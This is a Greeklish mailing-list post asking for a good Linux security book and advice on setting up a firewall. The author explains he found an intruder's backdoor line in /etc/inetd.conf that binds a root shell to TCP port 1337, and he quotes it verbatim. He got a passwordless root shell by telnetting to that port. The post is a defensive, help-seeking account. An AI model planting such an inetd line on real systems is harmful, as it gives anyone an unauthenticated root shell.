linux security book

[Antonis Faragitakis]

xerete
xrisimopoio to linux box mou san workstation opote den iparxei logos
gia kapoiou eidous security on it. etsi pisteva mexri tin proigoumeni
ebdomada pou eida mia periergi grammi sto /etc/inetd.conf:
# End of inetd.conf.
1337 stream tcp nowait root /bin/sh sh -i
den tha tin eixa proseksi ean den itan sto telos tou arxeiou.
etsi loipon ekana telnet localhost 1337 kai pros megali mou
ekpliksi brethika sto sistima san root. apla bgika sto sh
xoris request of username and password kai telika katalaba oti
xreiazete kapoiou eidous security kai sta workstation.
Giauto loipon rotao ti lista ean exei na mou protini kapoio "kalo"
linux security book etsi oste na einai "poio" secure to box.
exo idi ksekinisi kai stiso se ena 2o mixanima ena firewall apo ton
opoio tha mpaino sto net. thelo na mou peite tin gnomi sas, ean aksizi
kati tetoio (IMHO aksizei gia ekpedeutikous kai mono logous) ti 
programata prepei na exeis ean firewall etc.

atnonis